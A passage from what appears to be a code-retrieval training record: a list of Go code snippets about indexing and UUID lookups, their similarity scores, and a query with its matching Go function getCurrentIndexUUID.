ioutil.ReadAll(r.Body)\n\n\tif err != nil {\n\t\trespondWithError(w, r, \"Error reading body\")\n\t\treturn\n\t}\n\n\tif len(bytes) == 0 {\n\t\trespondWithError(w, r, \"Error document missing\")\n\t\treturn\n\t}\n\n\tvar doc document\n\terr = json.Unmarshal(bytes, &doc)\n\tif err != nil {\n\t\trespondWithError(w, r, \"Error parsing document JSON\")\n\t\treturn\n\t}\n\n\tif len(doc.Id) == 0 {\n\t\trespondWithError(w, r, fmt.Sprintf(\"Error document id is required, not found in: %v\", string(bytes)))\n\t\treturn\n\t}\n\n\tif len(doc.Fields) == 0 {\n\t\trespondWithError(w, r, \"Error document is missing fields\")\n\t\treturn\n\t}\n\n\td := search.NewDocument()\n\td.Id = doc.Id\n\tfor k, v := range doc.Fields {\n\t\td.Fields[k] = &search.Field{Value: v}\n\t}\n\n\ts.Index(collection, d)\n\trespondWithSuccess(w, r, \"Success, document indexed\")\n}", "func (obj *LineFile) deleteIndexFiles() {\n\tfilePrefix := obj.filePathHash\n\tindexFolder := path.Join(obj.fileDir, \"index\")\n\tos.MkdirAll(indexFolder, 0755)\n\tDeleteFiles(indexFolder, filePrefix+\"_*.idx\")\n}", "func CargaIndex(ctx *iris.Context) {\n\tid := ctx.Param(\"ID\")\n\tvar Send DetalleCuentasPorCobrarVisorusModel.SDetalleCuentasPorCobrarVisorus\n\n\tSend.SIndex.STituloTabla = \"SE CARGARON TODAS LAS UNIDADES\"\n\tModelo := DetalleCuentasPorCobrarVisorusModel.MapaModelo()\n\tSend.SIndex.SNombresDeColumnas = Modelo[\"name\"].([]string)\n\tSend.SIndex.SModeloDeColumnas = MoGeneral.GeneraModeloColumnas(Modelo)\n\tSend.SIndex.SRenglones = DetalleCuentasPorCobrarVisorusModel.GeneraDataRowDeIndex(DetalleCuentasPorCobrarVisorusModel.GetOne(id))\n\tSend.SEstado = true\n\tjData, err := json.Marshal(Send)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t}\n\tctx.Header().Set(\"Content-Type\", \"application/json\")\n\tctx.Write(jData)\n\treturn\n}", "func writeFormat(file *os.File, index int64, size int64) {\n\tformat := make([]int8, size)\n\tfile.Seek(index, 0)\n\t//Empezamos el proceso de guardar en binario la data en memoria del struct\n\tvar binaryDisc bytes.Buffer\n\tbinary.Write(&binaryDisc, binary.BigEndian, &format)\n\twriteNextBytes(file, binaryDisc.Bytes())\n}", "func (si ServeIndex) Index(w http.ResponseWriter, r *http.Request) {\n\tpara := params.NewParams()\n\tdata, _, err := Updates(r, para)\n\tif err != nil {\n\t\tif _, ok := err.(params.RenamedConstError); ok {\n\t\t\thttp.Redirect(w, r, err.Error(), http.StatusFound)\n\t\t\treturn\n\t\t}\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tdata[\"Distrib\"] = si.StaticData.Distrib\n\tdata[\"Exporting\"] = exportingCopy() // from ./ws.go\n\tdata[\"OstentUpgrade\"] = OstentUpgrade.Get()\n\tdata[\"OstentVersion\"] = si.StaticData.OstentVersion\n\tdata[\"TAGGEDbin\"] = si.StaticData.TAGGEDbin\n\n\tsi.IndexTemplate.Apply(w, struct{ Data IndexData }{Data: data})\n}", "func indexHandler(w http.ResponseWriter, r *http.Request) {\n\tlog.Println(\"indexHandler is called\")\n\n\tw.WriteHeader(http.StatusOK)\n\tjson.NewEncoder(w).Encode(indexHandlerResponse{Message: \"OK\"})\n}", "func (v SwapIndexInfo) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjson25363b2dEncodeGithubComDarkfoxs96OpenApiV3SdkOkexGoSdkApi29(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}", "func (es *ElasticClientV5) Write(index string, id string,\n\ttyp string, v interface{}) error {\n\n\tes.bkt.Add(elastic.NewBulkIndexRequest().Index(\n\t\tindex).Type(typ).Id(id).Doc(v))\n\n\treturn nil\n}", "func (s Serializer) indexValue(buf cmpbin.WriteableBytesBuffer, v any) (err error) {\n\tswitch t := v.(type) {\n\tcase nil:\n\tcase bool:\n\t\tb := byte(0)\n\t\tif t {\n\t\t\tb = 1\n\t\t}\n\t\terr = buf.WriteByte(b)\n\tcase int64:\n\t\t_, err = cmpbin.WriteInt(buf, t)\n\tcase float64:\n\t\t_, err = cmpbin.WriteFloat64(buf, t)\n\tcase string:\n\t\t_, err = cmpbin.WriteString(buf, t)\n\tcase []byte:\n\t\t_, err = cmpbin.WriteBytes(buf, t)\n\tcase GeoPoint:\n\t\terr = s.GeoPoint(buf, t)\n\tcase PropertyMap:\n\t\terr = s.PropertyMap(buf, t)\n\tcase *Key:\n\t\terr = s.Key(buf, t)\n\n\tdefault:\n\t\terr = fmt.Errorf(\"unsupported type: %T\", t)\n\t}\n\treturn\n}", "func (g *GenOpts) BlobIndex() (string, error) {\n\tbp, err := g.blobIndexPrefix()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tjk, err := g.jsonKey()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\ts := bp + jk\n\treturn s, nil\n}", "func (w *Writer) Close() error {\n\tw.closed = true\n\t// Note: new levels can be created while closing, so the number of iterations\n\t// necessary can increase as the levels are being closed. The number of ranges\n\t// will decrease per level as long as the range size is in general larger than\n\t// a serialized header. Levels stop getting created when the top level chunk\n\t// writer has been closed and the number of ranges it has is one.\n\tfor i := 0; i < len(w.levels); i++ {\n\t\tl := w.levels[i]\n\t\tif err := l.tw.Flush(); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := l.cw.Close(); err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// (bryce) this method of terminating the index can create garbage (level\n\t\t// above the final level).\n\t\tif l.cw.AnnotationCount() == 1 && l.cw.ChunkCount() == 1 {\n\t\t\tbreak\n\t\t}\n\t}\n\t// Write the final index level to the path.\n\tobjW, err := w.objC.Writer(w.ctx, w.path)\n\tif err != nil {\n\t\treturn err\n\t}\n\ttw := tar.NewWriter(objW)\n\tif err := w.serialize(tw, w.root); err != nil {\n\t\treturn err\n\t}\n\tif err := tw.Close(); err != nil {\n\t\treturn err\n\t}\n\treturn objW.Close()\n}", "func EncodeInvertedIndexKeys(b []byte, json JSON) ([][]byte, error) {\n\treturn json.encodeInvertedIndexKeys(encoding.EncodeJSONAscending(b))\n}", "func (v Stash) MarshalEasyJSON(w *jwriter.Writer) {\n\teasyjsonD2b7633eEncodeDrhyuComIndexerModels(w, v)\n}", "func (a *App) Index(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\trawBankStatements, err := models.AllRawBankStatements(a.db)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\thttp.Error(w, http.StatusText(500), 500)\n\t\treturn\n\t}\n\n\tdata, err := json.Marshal(rawBankStatements)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\thttp.Error(w, http.StatusText(500), 500)\n\t\treturn\n\t}\n\tw.Write(data)\n\tfmt.Println(\"Index\")\n}" ]
[ "0.7623538", "0.7393146", "0.7294664", "0.7245271", "0.72254014", "0.6892107", "0.686368", "0.6761404", "0.6594129", "0.65816647", "0.6541175", "0.6535057", "0.65122896", "0.6489205", "0.6458479", "0.64109933", "0.64108104", "0.63792455", "0.6146911", "0.6144461", "0.609384", "0.6054838", "0.6022256", "0.5971888", "0.5949895", "0.58827466", "0.5860652", "0.5805179", "0.5766519", "0.57265925", "0.5715094", "0.5649454", "0.5648235", "0.56165457", "0.5571759", "0.55507183", "0.55355287", "0.5532175", "0.55289346", "0.5481993", "0.54602987", "0.54448336", "0.5414485", "0.5405861", "0.5398776", "0.5378995", "0.5358385", "0.53382623", "0.5334845", "0.5332768", "0.53274107", "0.5327068", "0.5323348", "0.5316194", "0.5312624", "0.5310252", "0.5305334", "0.5295161", "0.5285851", "0.5285264", "0.52720016", "0.5269389", "0.52589756", "0.5257144", "0.5251209", "0.52461785", "0.52448636", "0.5228465", "0.5226045", "0.5219879", "0.52193356", "0.5204068", "0.52007353", "0.5184767", "0.518303", "0.5182442", "0.5181948", "0.51802146", "0.51778114", "0.5177099", "0.5156698", "0.5154287", "0.51513815", "0.51067555", "0.50850314", "0.5084759", "0.5083169", "0.5072258", "0.507209", "0.5070408", "0.5065222", "0.5063607", "0.50605494", "0.50595593", "0.50570875", "0.5055742", "0.5053985", "0.50341284", "0.50265104", "0.50260234" ]
0.8331292
0
getCurrentIndexUUID returns current index UUID (if exist)
func getCurrentIndexUUID(dir string) string { indexFile := path.Join(dir, INDEX_NAME) if !fsutil.IsExist(indexFile) { return "" } i := &index.Index{} if jsonutil.Read(indexFile, i) != nil { return "" } return i.UUID }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func getCBGTIndexUUID(manager *cbgt.Manager, indexName string) (exists bool, previousUUID string, err error) {\n\n\t_, indexDefsMap, err := manager.GetIndexDefs(true)\n\tif err != nil {\n\t\treturn false, \"\", errors.Wrapf(err, \"Error calling CBGT GetIndexDefs() on index: %s\", indexName)\n\t}\n\n\tindexDef, ok := indexDefsMap[indexName]\n\tif ok {\n\t\treturn true, indexDef.UUID, nil\n\t} else {\n\t\treturn false, \"\", nil\n\t}\n}", "func (instance *Instance) GetUuid() (uuid uint64) {\n\tif val := instance.GetIndexInstance(); val != nil {\n\t\treturn val.GetInstId()\n\t} else {\n\t\t// TODO: should we panic ?\n\t}\n\treturn\n}", "func GetIndexID(t *testing.T, tk *testkit.TestKit, dbName, tblName, idxName string) int64 {\n\tis := domain.GetDomain(tk.Session()).InfoSchema()\n\ttt, err := is.TableByName(model.NewCIStr(dbName), model.NewCIStr(tblName))\n\trequire.NoError(t, err)\n\n\tfor _, idx := range tt.Indices() {\n\t\tif idx.Meta().Name.L == idxName {\n\t\t\treturn idx.Meta().ID\n\t\t}\n\t}\n\n\trequire.FailNow(t, fmt.Sprintf(\"index %s not found(db: %s, tbl: %s)\", idxName, dbName, tblName))\n\treturn -1\n}", "func (c *gcsCore) getContainerIDFromIndex(index uint32) string {\n\tc.containerIndexMutex.Lock()\n\tdefer c.containerIndexMutex.Unlock()\n\n\tif int(index) < len(c.containerIndex) {\n\t\treturn c.containerIndex[index]\n\t}\n\n\treturn \"\"\n}", "func (_UsersData *UsersDataCallerSession) GetUuidByIndex(index *big.Int) ([16]byte, error) {\n\treturn _UsersData.Contract.GetUuidByIndex(&_UsersData.CallOpts, index)\n}", "func (_UsersData *UsersDataCaller) GetUuidByIndex(opts *bind.CallOpts, index *big.Int) ([16]byte, error) {\n\tvar (\n\t\tret0 = new([16]byte)\n\t)\n\tout := ret0\n\terr := _UsersData.contract.Call(opts, out, \"getUuidByIndex\", index)\n\treturn *ret0, err\n}", "func (c *CodeShipProvider) GetProjectIDFromIndex(index int) (string, error) {\n\treturn c.Projects[index].UUID, nil\n}", "func (t *Article) GetIndexID() string {\n\treturn fmt.Sprintf(\"%s.%d\", t.ID, t.Version)\n}", "func (_UsersData *UsersDataSession) GetUuidByIndex(index *big.Int) ([16]byte, error) {\n\treturn _UsersData.Contract.GetUuidByIndex(&_UsersData.CallOpts, index)\n}", "func (i *Indexio) Current(key string) (idx uint32, err error) {\n\terr = i.db.Read(func(txn turtleDB.Txn) (err error) {\n\t\tvar bkt turtleDB.Bucket\n\t\tif bkt, err = txn.Get(\"indexes\"); err != nil {\n\t\t\treturn\n\t\t}\n\n\t\tidx, err = getCurrent(bkt, key)\n\t\treturn\n\t})\n\n\tif idx == 0 {\n\t\terr = ErrKeyUnset\n\t\treturn\n\t}\n\n\tidx--\n\treturn\n}", "func (l *List) GetCurrentIdx() int {\n\treturn l.currentIdx\n}", "func (room Room) GetCurrentIdx() int {\n\tid := -1\n\tif room.State >= IdxTurn {\n\t\tid = room.State - IdxTurn\n\t}\n\treturn id\n}", "func (r *raftLog) getIndex(first bool) (uint64, error) {\n\ttx, err := r.conn.Begin(false)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tvar (\n\t\tkey []byte\n\t\tidx uint64\n\t)\n\tcurs := tx.Bucket(logsBucket).Cursor()\n\tif first {\n\t\tkey, _ = curs.First()\n\t} else {\n\t\tkey, _ = curs.Last()\n\t}\n\tif key != nil {\n\t\tidx = binary.BigEndian.Uint64(key)\n\t}\n\ttx.Rollback()\n\treturn idx, nil\n}", "func (c *context) CurrentIndex() uint64 {\n\treturn c.currentIndex\n}", "func GetIndexOIDForResource(resource string) string {\n\treturn resourceIndex[resource]\n}", "func (s *storageMgr) handleGetIndexSnapshot(cmd Message) {\n\ts.supvCmdch <- &MsgSuccess{}\n\tinstId := cmd.(*MsgIndexSnapRequest).GetIndexId()\n\tindex := uint64(instId) % uint64(len(s.snapshotReqCh))\n\ts.snapshotReqCh[int(index)] <- cmd\n}", "func (siq *SubItemQuery) FirstIDX(ctx context.Context) uuid.UUID {\n\tid, err := siq.FirstID(ctx)\n\tif err != nil && !IsNotFound(err) {\n\t\tpanic(err)\n\t}\n\treturn id\n}", "func (lfile *Logfile) GetIndexfile() *Indexfile {return lfile.indexfile}", "func (irq *InstanceRuntimeQuery) FirstIDX(ctx context.Context) uuid.UUID {\n\tid, err := irq.FirstID(ctx)\n\tif err != nil && !IsNotFound(err) {\n\t\tpanic(err)\n\t}\n\treturn id\n}", "func (irq *InstanceRuntimeQuery) OnlyIDX(ctx context.Context) uuid.UUID {\n\tid, err := irq.OnlyID(ctx)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn id\n}", "func (siq *SubItemQuery) OnlyIDX(ctx context.Context) uuid.UUID {\n\tid, err := siq.OnlyID(ctx)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn id\n}", "func (h *VersionHistories) GetCurrentVersionHistoryIndex() int {\n\treturn h.CurrentVersionHistoryIndex\n}", "func findIndexInstId(topology *client.IndexTopology, defnId common.IndexDefnId) (common.IndexInstId, error) {\n\n\tfor _, defnRef := range topology.Definitions {\n\t\tif defnRef.DefnId == uint64(defnId) {\n\t\t\tfor _, inst := range defnRef.Instances {\n\t\t\t\treturn common.IndexInstId(inst.InstId), nil\n\t\t\t}\n\t\t}\n\t}\n\n\treturn common.IndexInstId(0), errors.New(fmt.Sprintf(\"Cannot find index instance id for defnition %v\", defnId))\n}", "func (wq *WorkflowQuery) FirstIDX(ctx context.Context) uuid.UUID {\n\tid, err := wq.FirstID(ctx)\n\tif err != nil && !IsNotFound(err) {\n\t\tpanic(err)\n\t}\n\treturn id\n}", "func (i *ById) GetSuperIndex() interface{} { return i.super }", "func (o DataSourceOutput) IndexId() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *DataSource) pulumi.StringOutput { return v.IndexId }).(pulumi.StringOutput)\n}", "func (luq *LastUpdatedQuery) OnlyIDX(ctx context.Context) int {\n\tid, err := luq.OnlyID(ctx)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn id\n}", "func GetIdxFile(ctx *context.Context) {\n\th := httpBase(ctx)\n\tif h != nil {\n\t\th.setHeaderCacheForever()\n\t\th.sendFile(\"application/x-git-packed-objects-toc\", \"objects/pack/pack-\"+ctx.Params(\"file\")+\".idx\")\n\t}\n}", "func (wq *WorkflowQuery) OnlyIDX(ctx context.Context) uuid.UUID {\n\tid, err := wq.OnlyID(ctx)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn id\n}", "func (db *DB) GetIndexForIncoming(className schema.ClassName) sharding.RemoteIndexIncomingRepo {\n\tdb.indexLock.RLock()\n\tdefer db.indexLock.RUnlock()\n\n\tid := indexID(className)\n\tindex, ok := db.indices[id]\n\tif !ok {\n\t\treturn nil\n\t}\n\n\treturn index\n}", "func (eq *EntityQuery) FirstIDX(ctx context.Context) uuid.UUID {\n\tid, err := eq.FirstID(ctx)\n\tif err != nil && !IsNotFound(err) {\n\t\tpanic(err)\n\t}\n\treturn id\n}", "func (rebase *Rebase) CurrentOperationIndex() (uint, error) {\n\truntime.LockOSThread()\n\tdefer runtime.UnlockOSThread()\n\n\tvar err error\n\toperationIndex := uint(C.git_rebase_operation_current(rebase.ptr))\n\truntime.KeepAlive(rebase)\n\tif operationIndex == RebaseNoOperation {\n\t\terr = ErrRebaseNoOperation\n\t}\n\n\treturn uint(operationIndex), err\n}", "func (g *GitChartProvider) GetIndexFile() (*helmrepo.IndexFile, error) {\n\treturn g.index.IndexFile, nil\n}", "func (idx Resource) GetIndex(w http.ResponseWriter, r *http.Request) {\n\tidx.logger.Info(\"Hitting the index page\")\n\n\tsess, _ := idx.store.GetSession(r)\n\n\tidx.logger.Infof(\"Returning user is %v\", sess.Values[\"user\"])\n\terr := idx.templateList.Public.ExecuteWriter(nil, w)\n\tif err != nil {\n\t\tidx.logger.Info(\"Failed to serve the index page\")\n\t\thttp.Error(w, http.StatusText(http.StatusInternalServerError),\n\t\t\thttp.StatusInternalServerError)\n\t}\n}", "func getCurrentTenant() *Tenant {\n\tif currentTenant == nil {\n\t\ttenants, err := iaas.GetTenantNames()\n\t\tif err != nil || len(tenants) != 1 {\n\t\t\treturn nil\n\t\t}\n\t\t// Set unique tenant as selected\n\t\tlog.Println(\"Unique tenant set\")\n\t\tfor name := range tenants {\n\t\t\tservice, err := iaas.UseService(name)\n\t\t\tif err != nil {\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tcurrentTenant = &Tenant{name: name, Service: service}\n\t\t}\n\t}\n\treturn currentTenant\n}", "func (m *MigrationStore) GetCurrentTag() (string, error) {\n\tlast := &Migration{}\n\tif err := m.db.Table(m.tableName).Last(&last).Error; err != nil {\n\t\treturn \"\", err\n\t}\n\treturn last.Tag, nil\n}", "func devIdx(tid string) string {\n\treturn indexDevices + \"-\" + tid\n}", "func (rid *RequestID) Index() uint16 {\n\treturn util.MustUint16From2Bytes(rid[valuetransaction.IDLength:])\n}", "func getCurrentVersion(db *sql.Tx, catalog string) (int64, error) {\n\tquery := `SELECT EXISTS(\n\t\t\t\tSELECT 1 FROM information_schema.tables\n\t\t\t\tWHERE table_catalog=$1\n\t\t\t\tAND table_name='version')`\n\trow := db.QueryRow(query, catalog)\n\n\tvar exists bool\n\tif err := row.Scan(&exists); err != nil {\n\t\treturn -1, errs.Errorf(\"Failed to scan if table \\\"version\\\" exists: %s\\n\", err)\n\t}\n\n\tif !exists {\n\t\t// table doesn't exist\n\t\treturn -1, nil\n\t}\n\n\trow = db.QueryRow(\"SELECT max(version) as current FROM version\")\n\n\tvar current int64 = -1\n\tif err := row.Scan(&current); err != nil {\n\t\treturn -1, errs.Errorf(\"Failed to scan max version in table \\\"version\\\": %s\\n\", err)\n\t}\n\n\treturn current, nil\n}", "func (luq *LastUpdatedQuery) FirstIDX(ctx context.Context) int {\n\tid, err := luq.FirstID(ctx)\n\tif err != nil && !IsNotFound(err) {\n\t\tpanic(err)\n\t}\n\treturn id\n}", "func getCurrentTenant() *Tenant {\n\tif currentTenant == nil {\n\t\ttenants, err := providers.Tenants()\n\t\tif err != nil || len(tenants) != 1 {\n\t\t\treturn nil\n\t\t}\n\t\t// Set unqiue tenant as selected\n\t\tlog.Println(\"Unique tenant set\")\n\t\tfor name := range tenants {\n\t\t\tservice, err := providers.GetService(name)\n\t\t\tif err != nil {\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tcurrentTenant = &Tenant{name: name, Service: service}\n\t\t}\n\t}\n\treturn currentTenant\n}", "func (eq *EntityQuery) OnlyIDX(ctx context.Context) uuid.UUID {\n\tid, err := eq.OnlyID(ctx)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn id\n}", "func (d *DockerPath) GetIndexDBPath(network string) string {\n\treturn filepath.Join(d.GetDataPath(network), d.IndexDBDirName)\n}", "func nextIndex(ctx context.Context) int {\n\treturn int(strconv.MustParseInt(ctx.Value(\"item.index\")))\n}", "func nextIndex(ctx context.Context) int {\n\treturn int(strconv.MustParseInt(ctx.Value(\"item.index\")))\n}", "func nextIndex(ctx context.Context) int {\n\treturn int(strconv.MustParseInt(ctx.Value(\"item.index\")))\n}", "func (o LookupIndexResultOutput) IndexId() pulumi.StringOutput {\n\treturn o.ApplyT(func(v LookupIndexResult) string { return v.IndexId }).(pulumi.StringOutput)\n}", "func (e *etcdinterface) getNextIndex() (apis.ServerID, error) {\n\tfor {\n\t\tresp, err := e.Client.Get(context.Background(), \"/server/next-id\")\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t\tif len(resp.Kvs) > 0 {\n\t\t\tlastId, err := strconv.ParseUint(string(resp.Kvs[0].Value), 10, 32)\n\t\t\tif err != nil {\n\t\t\t\treturn 0, err\n\t\t\t}\n\t\t\tnextId := lastId + 1\n\t\t\tresp, err := e.Client.Txn(context.Background()).\n\t\t\t\tIf(clientv3.Compare(clientv3.Value(\"/server/next-id\"), \"=\", string(resp.Kvs[0].Value))).\n\t\t\t\tThen(clientv3.OpPut(\"/server/next-id\", strconv.FormatUint(uint64(nextId), 10))).\n\t\t\t\tCommit()\n\t\t\tif err != nil {\n\t\t\t\treturn 0, err\n\t\t\t}\n\t\t\tif resp.Succeeded {\n\t\t\t\treturn apis.ServerID(nextId), nil\n\t\t\t}\n\t\t\t// changed... try again\n\t\t} else {\n\t\t\tresp, err := e.Client.Txn(context.Background()).\n\t\t\t\tIf(clientv3.Compare(clientv3.CreateRevision(\"/server/next-id\"), \"=\", 0)).\n\t\t\t\tThen(clientv3.OpPut(\"/server/next-id\", \"1\")).\n\t\t\t\tCommit()\n\t\t\tif err != nil {\n\t\t\t\treturn 0, err\n\t\t\t}\n\t\t\tif resp.Succeeded {\n\t\t\t\treturn 1, nil\n\t\t\t}\n\t\t\t// changed... try again\n\t\t}\n\t}\n}", "func (ulq *UserLogQuery) FirstIDX(ctx context.Context) int {\n\tid, err := ulq.FirstID(ctx)\n\tif err != nil && !IsNotFound(err) {\n\t\tpanic(err)\n\t}\n\treturn id\n}", "func (s *Sync) fetchRemoteIdx() (*index.Index, error) {\n\tspv := client.NewSupervised(s.opts.ClientFunc, 30*time.Second)\n\treturn spv.MountGetIndex(s.m.RemotePath)\n}", "func getIndex() string {\n\treturn fmt.Sprintf(frame, \"\")\n}", "func (t *SignerHistory) IndexName() IndexName {\n\treturn signerHistoryIndexName\n}", "func (m *ActiveNodeMock) GetIndex() (r member.Index) {\n\tcounter := atomic.AddUint64(&m.GetIndexPreCounter, 1)\n\tdefer atomic.AddUint64(&m.GetIndexCounter, 1)\n\n\tif len(m.GetIndexMock.expectationSeries) > 0 {\n\t\tif counter > uint64(len(m.GetIndexMock.expectationSeries)) {\n\t\t\tm.t.Fatalf(\"Unexpected call to ActiveNodeMock.GetIndex.\")\n\t\t\treturn\n\t\t}\n\n\t\tresult := m.GetIndexMock.expectationSeries[counter-1].result\n\t\tif result == nil {\n\t\t\tm.t.Fatal(\"No results are set for the ActiveNodeMock.GetIndex\")\n\t\t\treturn\n\t\t}\n\n\t\tr = result.r\n\n\t\treturn\n\t}\n\n\tif m.GetIndexMock.mainExpectation != nil {\n\n\t\tresult := m.GetIndexMock.mainExpectation.result\n\t\tif result == nil {\n\t\t\tm.t.Fatal(\"No results are set for the ActiveNodeMock.GetIndex\")\n\t\t}\n\n\t\tr = result.r\n\n\t\treturn\n\t}\n\n\tif m.GetIndexFunc == nil {\n\t\tm.t.Fatalf(\"Unexpected call to ActiveNodeMock.GetIndex.\")\n\t\treturn\n\t}\n\n\treturn m.GetIndexFunc()\n}", "func (hq *HarborQuery) FirstIDX(ctx context.Context) int {\n\tid, err := hq.FirstID(ctx)\n\tif err != nil && !IsNotFound(err) {\n\t\tpanic(err)\n\t}\n\treturn id\n}", "func getLogIndex(config Config) *index.LogIndex {\n\tlogIndex, err := index.NewLogIndex(config.IndexConfig)\n\tif err != nil {\n\t\tpanic(fmt.Errorf(\"%v: Cannot open log index: %v\", time.Now(), err))\n\t}\n\treturn logIndex\n}", "func (c *Connector) GetNewConnectionIDX() uint64 {\n\treturn atomic.AddUint64(&c.conIDX, 1)\n}", "func (o FaqOutput) IndexId() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *Faq) pulumi.StringOutput { return v.IndexId }).(pulumi.StringOutput)\n}", "func (sq *ServerQuery) FirstIDX(ctx context.Context) int {\n\tid, err := sq.FirstID(ctx)\n\tif err != nil && !IsNotFound(err) {\n\t\tpanic(err)\n\t}\n\treturn id\n}", "func (s ConsoleIndexStore) GetIndex(string) (i Index, e error) {\n\treturn IndexFromReader(os.Stdin)\n}", "func (z *Zzz) IdxId() int { //nolint:dupl false positive\n\treturn 0\n}", "func (tq *TenantQuery) FirstIDX(ctx context.Context) int {\n\tid, err := tq.FirstID(ctx)\n\tif err != nil && !IsNotFound(err) {\n\t\tpanic(err)\n\t}\n\treturn id\n}", "func (mq *MediaQuery) OnlyIDX(ctx context.Context) int {\n\tid, err := mq.OnlyID(ctx)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn id\n}", "func (engine *Engine) GetIndexName() string {\n\treturn engine.evaluator.GetIndexName()\n}", "func (b Beam) GetIndex() Index {\n\treturn b.index\n}", "func (bq *BrowserQuery) OnlyIDX(ctx context.Context) int {\n\tid, err := bq.OnlyID(ctx)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn id\n}", "func (hq *HarborQuery) OnlyIDX(ctx context.Context) int {\n\tid, err := hq.OnlyID(ctx)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn id\n}", "func (ulq *UserLogQuery) OnlyIDX(ctx context.Context) int {\n\tid, err := ulq.OnlyID(ctx)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn id\n}", "func (w *baseIndexWorker) getIndexRecord(idxInfo *model.IndexInfo, handle kv.Handle, recordKey []byte) (*indexRecord, error) {\n\tcols := w.table.WritableCols()\n\tfailpoint.Inject(\"MockGetIndexRecordErr\", func(val failpoint.Value) {\n\t\tif valStr, ok := val.(string); ok {\n\t\t\tswitch valStr {\n\t\t\tcase \"cantDecodeRecordErr\":\n\t\t\t\tfailpoint.Return(nil, errors.Trace(dbterror.ErrCantDecodeRecord.GenWithStackByArgs(\"index\",\n\t\t\t\t\terrors.New(\"mock can't decode record error\"))))\n\t\t\tcase \"modifyColumnNotOwnerErr\":\n\t\t\t\tif idxInfo.Name.O == \"_Idx$_idx_0\" && handle.IntValue() == 7168 && atomic.CompareAndSwapUint32(&mockNotOwnerErrOnce, 0, 1) {\n\t\t\t\t\tfailpoint.Return(nil, errors.Trace(dbterror.ErrNotOwner))\n\t\t\t\t}\n\t\t\tcase \"addIdxNotOwnerErr\":\n\t\t\t\t// For the case of the old TiDB version(do not exist the element information) is upgraded to the new TiDB version.\n\t\t\t\t// First step, we need to exit \"addPhysicalTableIndex\".\n\t\t\t\tif idxInfo.Name.O == \"idx2\" && handle.IntValue() == 6144 && atomic.CompareAndSwapUint32(&mockNotOwnerErrOnce, 1, 2) {\n\t\t\t\t\tfailpoint.Return(nil, errors.Trace(dbterror.ErrNotOwner))\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t})\n\tidxVal := make([]types.Datum, len(idxInfo.Columns))\n\tvar err error\n\tfor j, v := range idxInfo.Columns {\n\t\tcol := cols[v.Offset]\n\t\tidxColumnVal, ok := w.rowMap[col.ID]\n\t\tif ok {\n\t\t\tidxVal[j] = idxColumnVal\n\t\t\tcontinue\n\t\t}\n\t\tidxColumnVal, err = tables.GetColDefaultValue(w.sessCtx, col, w.defaultVals)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Trace(err)\n\t\t}\n\n\t\tidxVal[j] = idxColumnVal\n\t}\n\n\trsData := tables.TryGetHandleRestoredDataWrapper(w.table.Meta(), nil, w.rowMap, idxInfo)\n\tidxRecord := &indexRecord{handle: handle, key: recordKey, vals: idxVal, rsData: rsData}\n\treturn idxRecord, nil\n}", "func (s *StashList) getStashAtIdx(ctx context.Context, idx int) (hash.Hash, error) {\n\tamCount, err := s.am.Count()\n\tif err != nil {\n\t\treturn hash.Hash{}, err\n\t}\n\tif amCount <= idx {\n\t\treturn hash.Hash{}, fmt.Errorf(\"fatal: log for 'stash' only has %v entries\", amCount)\n\t}\n\n\tstash, err := getNthStash(ctx, s.am, amCount, idx)\n\tif err != nil {\n\t\treturn hash.Hash{}, err\n\t}\n\n\treturn stash.addr, nil\n}", "func (j *juicefs) GetJfsVolUUID(ctx context.Context, name string) (string, error) {\n\tcmdCtx, cmdCancel := context.WithTimeout(ctx, 8*defaultCheckTimeout)\n\tdefer cmdCancel()\n\tstdout, err := j.Exec.CommandContext(cmdCtx, config.CeCliPath, \"status\", name).CombinedOutput()\n\tif err != nil {\n\t\tre := string(stdout)\n\t\tif strings.Contains(re, \"database is not formatted\") {\n\t\t\tklog.V(6).Infof(\"juicefs %s not formatted.\", name)\n\t\t\treturn \"\", nil\n\t\t}\n\t\tklog.Infof(\"juicefs status error: %v, output: '%s'\", err, re)\n\t\tif cmdCtx.Err() == context.DeadlineExceeded {\n\t\t\tre = fmt.Sprintf(\"juicefs status %s timed out\", 8*defaultCheckTimeout)\n\t\t\treturn \"\", errors.New(re)\n\t\t}\n\t\treturn \"\", errors.Wrap(err, re)\n\t}\n\n\tmatchExp := regexp.MustCompile(`\"UUID\": \"(.*)\"`)\n\tidStr := matchExp.FindString(string(stdout))\n\tidStrs := strings.Split(idStr, \"\\\"\")\n\tif len(idStrs) < 4 {\n\t\treturn \"\", fmt.Errorf(\"get uuid of %s error\", name)\n\t}\n\n\treturn idStrs[3], nil\n}", "func (obj *LineFile) getIndexFilePath(indexPageNumber int) string {\n\tfilePrefix := obj.filePathHash\n\tindexFolder := path.Join(obj.fileDir, \"index\")\n\tos.MkdirAll(indexFolder, 0755)\n\tindexFilePath := path.Join(indexFolder, 